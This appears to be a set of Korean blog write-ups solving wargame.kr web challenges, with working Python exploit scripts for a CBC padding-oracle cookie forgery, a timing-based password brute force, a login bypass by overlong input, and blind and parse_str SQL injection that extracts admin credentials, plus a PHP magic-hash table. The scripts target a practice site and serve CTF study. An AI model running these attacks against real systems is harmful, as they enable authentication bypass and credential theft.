쿠키를 보면 수상한 문자가 있는데, %3D를 기준으로 두개로 나눠 hex로 바꿔 다시 합치면 총 32글자가 나온다.

오라클 패딩 취약점에 대해서는 http://laughfool.tistory.com/31 에서 잘 설명해주고 있으니 참고하도록 하자.


import urllib
import urllib2
import base64

def zero_padding(value, length):
    ret_str = ""
    for i in range(length-len(value)):
        ret_str += "0"
    return ret_str + value

def make_session(value):
    ret_str = ""
    ret_str += urllib.quote(base64.b64encode(value[:len(value)/2].decode('hex')))
    ret_str += urllib.quote(base64.b64encode(value[len(value)/2:].decode('hex')))
    return ret_str

def send_payload(payload):
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request("http://wargame.kr:8080/dun_worry_about_the_vase/main.php")
    request.add_header("Cookie", "L0g1n="+payload) 
    request.get_method = lambda:'GET'
    data = opener.open(request)
    return data.read()

def imtermediary_xor(data, offset):
    tmp = ""
    for i in range(0, len(data), 2):
        tmp += zero_padding(hex(int(data[i:i+2], 16) ^ offset).split('x')[1],2)
    return tmp
    
session = "AsYiuWeGhm0%3D dfd0yvnUqdw%3D"
encrypt = ""
decrypt = ""
imtermediary = ""
payload = ""

for sess in session.split():
    encrypt += base64.b64decode(urllib.unquote(sess)).encode('hex')

for i in range(1,9):
    for j in range(0x00, 0xff):
        hexa = hex(j+1).split('x')[1]
        tmp = zero_padding(hexa + imtermediary_xor(imtermediary, i), 16) 
        print tmp
        payload = make_session(tmp + encrypt[len(encrypt)/2:])
        print payload
        
        if "padding error" not in send_payload(payload):
            print "[*] success!"
            imtermediary = zero_padding(imtermediary_xor(hexa, i),2) + imtermediary
            break;
        else:
            print "[-] fail!"

for i in range(0, len(imtermediary), 2):
    #print imtermediary[i:i+2], encrypt[i:i+2]
    decrypt = decrypt + chr(int(imtermediary[i:i+2],16) ^ int(encrypt[i:i+2],16))
    
print "[*] Decrypt String is ["+decrypt+"]"


tmp = "admin".encode('hex')+decrypt[5:].encode('hex')
payload = ""

for i in range(0, len(imtermediary), 2):
    payload += zero_padding(hex(int(imtermediary[i:i+2],16) ^ int(tmp[i:i+2],16)).split('x')[1],2)
    
payload = make_session(payload + encrypt[len(encrypt)/2:])
print payload
print send_payload(payload)








<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 include("../lib.php"); // include for auth_code function.

 //ini_set("display_errors", true);

 $password=auth_code("pw crack");
 $dest = $_SERVER['REMOTE_ADDR'];
 $port = 31337;
 $data="";

 $sock = @fsockopen($dest,$port,$errno,$errstr,10);
 if(!$sock){die("IP : $dest<br />port : $port<br /><h2>Connection Error</h2><br /><br />Please, open your port!");}
 fwrite($sock,"password : ");
 for($i=0;$i<40;$i++){
  $c=fgetc($sock);
  if(ord($c)==0 || ord($c) == 10){ break; }
  $data.=$c;
 }
 fclose($sock);
 
 for($i=0;$i<40;$i++){
  sleep(2);
  if($data[$i]!=$password[$i]){
   die("wrong password!");
   break;
  }
 }
 echo "<script> alert('congratulation!! that`s auth key!!'); </script>";




소스를 보면 요청한 사용자의 아이피의 31337포트로 접속 후 사용자가 보낸 40 글자의 문자를 비교하여 동일하면 auth key를 출력해준다.

하지만 비교하는 과정의 for 문에 sleep 함수가 있어 1문자가 일치하면 4초, 2문자가 일치하면 6초, 이런식으로 한글자씩 일치하는지 구별이 가능하다.



#-*- coding: utf-8 -*- import sys import thread, time import urllib import urllib2 from socket import * from time import ctime NumberOfThread = 1 ThreadsLeft = NumberOfThread id = 0 key = "6b85b713ec89eebfa6579f65de64d825caae975" cnt = len(key)+1 lock = thread.allocate_lock() length = 40 key_list = "0123456789abcdef " HOST = '' PORT = 31337 BUFSIZ = 1024 ADDR = (HOST, PORT) def send_request(): opener = urllib2.build_opener(urllib2.HTTPHandler) request = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php") request.get_method = lambda:'GET' data = opener.open(request) return data.read() def threadexit(id): global ThreadsLeft lock.acquire() ThreadsLeft -= 1 lock.release() def counter(id, password): global HOST, PORT, BUFSIZ, ADDR tcpSerSock = socket(AF_INET, SOCK_STREAM) tcpSerSock.bind(ADDR) tcpSerSock.listen(5) tcpCliSock, addr = tcpSerSock.accept() data = tcpCliSock.recv(BUFSIZ) print data, password tcpCliSock.send(password) tcpCliSock.close() tcpSerSock.close() threadexit(id) for i in range(40-len(key)): for ch in key_list: if ch == " ": print "[-] Error!" sys.exit() id += 1 time.sleep(0.1) NumberOfThread += 1 ThreadsLeft += 1 thread.start_new_thread(counter, (id, key + ch + "a"*(40-len(key)-1))) start_time = time.time() source = send_request() if "congratulation!!" in source: print "[+] Find Key!! - ["+key+"]" sys.exit() end_time = time.time() excute_time = (end_time - start_time) print "[*] Excute time -", print excute_time if excute_time < (cnt)*2: print "[-] Error! excute time" sys.exit() elif excute_time > (cnt+1)*2: key += ch print "[+] Find "+str(cnt)+"st Char !! - ["+key+"_"*(40-len(key))+"]" cnt += 1 break; else: print "[-] Fail" time.sleep(0.1)









<?php

if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}

include("../lib.php"); // include for auth_code function.
/*******************************************************
- DB SCHEMA (initilizing)

create table accounts(
 idx int auto_increment primary key,
 user_id varchar(32) not null unique,
 user_ps varchar(64) not null,
 encrypt_ss text not null
);

********************************************************/

function db_conn(){
 mysql_connect("localhost","login_with_cryp","login_with_crypto_but_pz");
 mysql_select_db("login_with_crypto_but");
}

function init(){
 db_conn();
 $password = crypt(rand().sha1(file_get_contents("/var/lib/dummy_file").rand())).rand();
 mysql_query("insert into accounts values (null,'admin','{$password}','".sucker_enc('881114')."')"); // admin`s password is secret! xD
 mysql_query("insert into accounts values (null,'guest','guest','".sucker_enc('000000')."')");
}
//init(); // create user for initializing

function enc($str){
 $s_key = "L0V3LySH:";
 $s_vector_iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_3DES, MCRYPT_MODE_ECB), MCRYPT_RAND);
 $en_str = mcrypt_encrypt(MCRYPT_3DES, $s_key, $str, MCRYPT_MODE_ECB, $s_vector_iv);
 $en_base64 = base64_encode($en_str);
 $en_hex = bin2hex($en_str);
 return $en_hex;
}

function sucker_enc($str){
 for($i=0;$i<8;$i++) $str = enc($str);
 return $str;
}

function get_password($user,$ssn){
 db_conn();
 $user = mysql_real_escape_string($user);
 $ssn  = mysql_real_escape_string($ssn);
 $result = mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
 $row = mysql_fetch_array($result);
 if ($row === false) {
  die("there is not valid account!");
 }
 return $row[0]; 
}

ini_set("display_errors", true);

if( (isset($_POST['user']) && isset($_POST['ssn']) && isset($_POST['pass'])) ){
 
 sleep(2); // do not bruteforce !!!! this challenge is not for bruteforce!!

 if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){

  if($_POST['user'] == "admin"){
   echo "Login Success!!! PASSWORD IS : <b>".auth_code("login with crypto! but..")."</b>";
  }else{
   echo "Login Success. but you r not 'admin'..";
  }
 }else{
  echo "Login Failed";
 }

}

?>
<hr />
<form method="post" action="./index.php">
<table>
 <tr><td>Identify</td><td><input type='text' value='guest' maxlength='32' name='user' /></td>
 <tr><td>Social Security</td><td><input type='text' maxlength='6' value='000000' name='ssn' /></td>
 <tr><td>PASSWORD</td><td><input type='text' value='guest' name='pass' /></td>
 <tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
<hr />
<a href='./?view-source'>GET SOURCE</a>


이번 문제를 풀면서 PHP에도 BOF를 사용할 수 있다는 점에 매우 놀랐다.

외관상으로 보면 전혀 문제가 없어보이는 소스이다.

그래서 필자도 처음엔 해멨다.


이번문제의 핵심은 sucker_enc 함수다.

sucker_enc 함수는 enc 함수를 8번 호출하면서 3DES로 암호화 한다.

암호화한 값을 get_password 함수에서 그대로 가져다 문자열에 합쳐 사용하는데

여기에서 문자열의 길이가 길어 BOF가 발생하게 되면 $result에는 false가 들어가게 된다.

다음 아래의 mysql_fetch_array 함수를 통해 false가 실행되고 이 함수는 null을 반환한다. 그리고 $row와 false를 비교하지만 ===로 비교해 우회할 수 있다.

다음은 null과 $_POST['pass']를 비교하므로 $_POST['pass']에 아무 값도 입력하지 않으면 해당 비교문은 참이 된다.

즉 BOF로 인해 발생한 에러로 인해 로그인을 우회할 수 있게 된다.



#-*- coding: utf-8 -*-

import time
import urllib
import urllib2
import re

url = "http://wargame.kr:8080/login_with_crypto_but/index.php"

def send_payload(num):
	global url 
	
	opener = urllib2.build_opener(urllib2.HTTPHandler)
	request = urllib2.Request(url, "user=admin&ssn="+"0"*num+'&pass=')
	#req.add_header("Cookie", "") # 쿠키 추가
	
	request.get_method = lambda:'POST'
	data = opener.open(request)
	return data.read()

print send_payload(70000)






해당 페이지의 no 파라미터에 SQLi 취약점이 있는 것을 확인했다.

왠만한 함수와 0x, or, and 등을 필터링 하여 우회하는데 시간이 좀 걸렸다.

어쨋든, SQL Injection을 이용해 Admin의 패스워드 해쉬를 가져왔다.



#-*- coding: utf-8 -*-

import time
import urllib
import urllib2
import re
import binascii

url = "http://wargame.kr:8080/jff3_magic/?no="
str_list = "abcdefghijklmnopqrstuvwxyz0123456789"
pw = ""

def send_payload(payload):
	global url 
	
	opener = urllib2.build_opener(urllib2.HTTPHandler)
	request = urllib2.Request(url + urllib.quote(payload))
	#req.add_header("Cookie", "") # 쿠키 추가
	#request.get_method = lambda:'POST'
	data = opener.open(request)
	return data.read()

for i in range(32):
	for ch in str_list:
		payload = "-1||pw like "+str(bin(int(binascii.hexlify(pw + ch + "%"),16)))

		if "admin" in send_payload(payload):
			print "[+] True"
			pw += ch
			break;
		else:
			print "[-] False"
			
print pw




그리고 페이지를 보니 로그인 시도를 할때 한가지 이상한 점이 있어 이를 구글에 검색해 보았더니,

아래와 같이 haval128,5를 이용해 해쉬화를 한 문자열이었다.

그렇다면, Admin의 패스워드 해쉬도 haval128,5 임을 유추해 볼 수 있다.




여기서 좀 헤맸는데, 구글에 haval 256 5와 문제의 제목인 magic을 검색해보았더니

PHP Magic hases 라는 게시물이 나온다.





간단하게 말하면 PHP에서 ==, != 연산자를 사용할때 발생하는 문제인데 문자열 형식이 ^0+e\d*$로 되어있을 때, 숫자형 데이터와 비교하면 0으로 인식해 비교해버리기 때문에 발생한다.

자세한 내용은 위에서 검색한 https://blog.whitehatsec.com/magic-hashes/ 사이트에 잘 나와있다.


Hash Type

Hash Length

“Magic” Number / String

Magic Hash

Found By
md2 32 505144726 0e015339760548602306096794382326 WhiteHat Security, Inc.
md4 32 48291204 0e266546927425668450445617970135 WhiteHat Security, Inc.
md5 32 240610708 0e462097431906509019562988736854 Michal Spacek
sha1 40 10932435112 0e07766915004133176347055865026311692244 Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
sha224 56
sha256 64
sha384 96
sha512 128
ripemd128 32 315655854 0e251331818775808475952406672980 WhiteHat Security, Inc.
ripemd160 40 20583002034 00e1839085851394356611454660337505469745 Michael A Cleverly
ripemd256 64
ripemd320 80
whirlpool 128
tiger128,3 32 265022640 0e908730200858058999593322639865 WhiteHat Security, Inc.
tiger160,3 40 13181623570 00e4706040169225543861400227305532507173 Michele Spagnuolo
tiger192,3 48
tiger128,4 32 479763000 00e05651056780370631793326323796 WhiteHat Security, Inc.
tiger160,4 40 62241955574 0e69173478833895223726165786906905141502 Michele Spagnuolo
tiger192,4 48
snefru 64
snefru256 64
gost 64
adler32 8 FR 00e00099 WhiteHat Security, Inc.
crc32 8 2332 0e684322 WhiteHat Security, Inc.
crc32b 8 6586 0e817678 WhiteHat Security, Inc.
fnv132 8 2186 0e591528 WhiteHat Security, Inc.
fnv164 16 8338000 0e73845709713699 WhiteHat Security, Inc.
joaat 8 8409 0e074025 WhiteHat Security, Inc.
haval128,3 32 809793630 00e38549671092424173928143648452 WhiteHat Security, Inc.
haval160,3 40 18159983163 0e01697014920826425936632356870426876167 Independently found by Michael Cleverly & Michele Spagnuolo
haval192,3 48 48892056947 0e4868841162506296635201967091461310754872302741 Michael A. Cleverly
haval224,3 56
haval256,3 64
haval128,4 32 71437579 0e316321729023182394301371028665 WhiteHat Security, Inc.
haval160,4 40 12368878794 0e34042599806027333661050958199580964722 Michele Spagnuolo
haval192,4 48
haval224,4 56
haval256,4 64
haval128,5 32 115528287 0e495317064156922585933029613272 WhiteHat Security, Inc.
haval160,5 40 33902688231 00e2521569708250889666329543741175098562 Michele Spagnuolo
haval192,5 48 52888640556 0e9108479697641294204710754930487725109982883677 Michele Spagnuolo
haval224,5 56
haval256,5 64










혹시나 했더니 역시나 이 부분에 취약점이 있었다.

보통 이 부분에 취약점이 많이 존재한다. 

대부분의 개발자들이 Select로 입력을 받는다고 미처 필터링 할 생각을 못하는 것 같다.

Python으로 스크립트를 짜서 풀어야하지만, 귀찮아서 SQLMAP을 사용했다.






qna 데이터베이스에 authkey라는 테이블이 보인다.








<?php 

if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
}

include("../lib.php");
include("./inc.php"); // Database Connected

function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}} 

if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''; 

if(!isset($search_cols)) { 
    $search_cols = 'subject|content'; 
} 

$cols = explode('|',$search_cols); 

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
} 

if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"; 
} 
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len); 
} 


?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
    </thead>
    <tbody>
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>subject</option>
                    <option value="content">content</option>
                    <option value="content|content">subject, content</option>
                    <option value="writer">writer</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> or &nbsp;&nbsp;
                <input type="radio" name="operator" value="and" /> and
                <input type="submit" value="SEARCH" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />




소스를 보면 parse_str($_SERVER['QUERY_STRING']);에서 취약점이 발생한다.

parse_str은 URL 뒤의 GET값을 그대로 변수에 넣어주는 건데, 여기에서 사용자가 원하는 변수에 원하는 값을 넣을 수 있게 된다.

여기에서는 search_cols에 아무값이나 넣고 query_parts에 SQL Injection을 하여 원하는 쿼리문을 실행시킬 수 있다.



union을 이용해 1,2,3,4 값을 입력하였다.




table 목록을 출력하여 Th1s_1s_Flag_tbl을 찾았다.



' 입력을 하지 않고 하기 위해 테이블명을 HEX값으로 인코딩한다.



그 다음, 컬럼명을 출력.




그리고 Flag 획득.


'Challenge > Wargame.kr' 카테고리의 다른 글

Wargame.kr - Challenge [jff3_magic]  (0) 2015.11.08
Wargame.kr - Challenge [QnA]  (0) 2015.11.05
Wargame.kr - Challenge [dmbs335]  (0) 2015.09.10
Wargame.kr - Challenge [PHP? C?]  (0) 2015.09.09
Wargame.kr - Challenge [IP Log Table]  (0) 2015.09.09
Wargame.kr - Challenge [Lonely Guys]  (0) 2015.09.09





소스를 보면 POST로 값을 받아서 input1과 input2에 넣고, input1은 /tmp/p7의 parameter로 들어가고, input2는 result와 비교한다.

p7.c가 현재 디렉토리에 있다고 하니 주소를 입력해 살펴보도록 하자.




필자는 직접 컴파일 하여 값을 넘겨줘봤다.

int의 최대치를 입력하면 오버플로우가 일어나 해당 if문들을 모두 우회할 수 있다.






'Challenge > Wargame.kr' 카테고리의 다른 글

Wargame.kr - Challenge [QnA]  (0) 2015.11.05
Wargame.kr - Challenge [dmbs335]  (0) 2015.09.10
Wargame.kr - Challenge [PHP? C?]  (0) 2015.09.09
Wargame.kr - Challenge [IP Log Table]  (0) 2015.09.09
Wargame.kr - Challenge [Lonely Guys]  (0) 2015.09.09
Wargame.kr - Challenge [pyc Decompile]  (2) 2015.09.08




페이지를 접속하면 IP log table이 나온다.

IP를 클릭하면 시간이 나오는데 이 부분을 웹 프록시 툴로 잡아보았다.




'를 입력하였더니 정상적인 시간이 아닌 1970-01-01 09:00:00를 반환한다.

거짓이면 1970-01-01 09:00:00를 반환, 참이면 원래 시간을 반환하는 것을 이용하여 참과 거짓을 알 수 있다.



Python으로 Script를 작성해보았다.



import urllib
import urllib2
import sys

def req(data):
	data = "idx="+urllib.quote(data)

	url = "http://wargame.kr:8080/ip_log_table/chk.php"

	opener = urllib2.build_opener(urllib2.HTTPHandler)
	request = urllib2.Request(url,data)
	request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
	request.add_header('Cookie', 'PHPSESSID=v49q7ovgd3dh0bbu5dotlauac0')
	request.get_method = lambda:'POST'
	response = opener.open(request)
	response = str(response.read())
	#print response
	if "1970-01-01 09:00:00" in response:
		return False
	else:
		return True


limit = 1
print "[*] Find Table length"
for i in range(100):
	data = "if((select length(table_name) from information_schema.tables order by table_type limit "+str(limit)+",1)="+str(i)+",14430,1)"
	#print data
	if req(data):
		length = i
		print "[*] Table length is "+str(i)
		break
	
print "[*] Find Table value"

table_name = ""
binary = ""
for i in range(length):
	for j in range(8):
		data = "if((select substr(lpad(bin(ord(substr(table_name,"+str(i+1)+",1))),8,0),"+str(j+1)+",1) from information_schema.tables order by table_type limit "+str(limit)+",1)=0,14430,1)"
		if req(data):
			binary += "0"
		else:
			binary += "1"
			
	table_name += chr(int(binary,2))
	binary = ""
	
print "[*] table_name is ["+table_name+"]"

limit = 2
print "[*] Find Column length"
for i in range(100):
	data = "if((select length(column_name) from information_schema.columns where table_name=0x"+"admin_table".encode('hex')+" limit "+str(limit)+",1)="+str(i)+",14430,1)"
	#print data
	if req(data):
		length = i
		print "[*] Column length is "+str(i)
		break
		
print "[*] Find Column value"
column_name = ""
binary = ""
for i in range(length):
	for j in range(8):
		data = "if((select substr(lpad(bin(ord(substr(column_name,"+str(i+1)+",1))),8,0),"+str(j+1)+",1) from information_schema.columns where table_name=0x"+"admin_table".encode('hex')+" limit "+str(limit)+",1)=0,14430,1)"
		if req(data):
			binary += "0"
		else:
			binary += "1"
			
	column_name += chr(int(binary,2))
	binary = ""
	
print "[*] Column is ["+column_name+"]"

print "[*] Find ID length"
for i in range(300):
	data = "if((select length(id) from admin_table)="+str(i)+",14430,1)"
	#print data
	if req(data):
		length = i
		print "[*] ID length is "+str(i)
		break
		
print "[*] Find ID value"
id = ""
binary = ""
for i in range(length):
	for j in range(8):
		data = "if((select substr(lpad(bin(ord(substr(id,"+str(i+1)+",1))),8,0),"+str(j+1)+",1) from admin_table)=0,14430,1)"
		if req(data):
			binary += "0"
		else:
			binary += "1"
			
	id += chr(int(binary,2))
	binary = ""
	
print "[*] ID is ["+id+"]"

print "[*] Find Password length"
for i in range(300):
	data = "if((select length(ps) from admin_table)="+str(i)+",14430,1)"
	#print data
	if req(data):
		length = i
		print "[*] Password length is "+str(i)
		break
		
print "[*] Find Password value"
password = ""
binary = ""
for i in range(length):
	for j in range(8):
		data = "if((select substr(lpad(bin(ord(substr(ps,"+str(i+1)+",1))),8,0),"+str(j+1)+",1) from admin_table)=0,14430,1)"
		if req(data):
			binary += "0"
		else:
			binary += "1"
			
	password += chr(int(binary,2))
	binary = ""
	
print "[*] Password is ["+password+"]"




나온 아이디와 패스워드로 로그인을 하면 Flag가 나온다.



+ Recent posts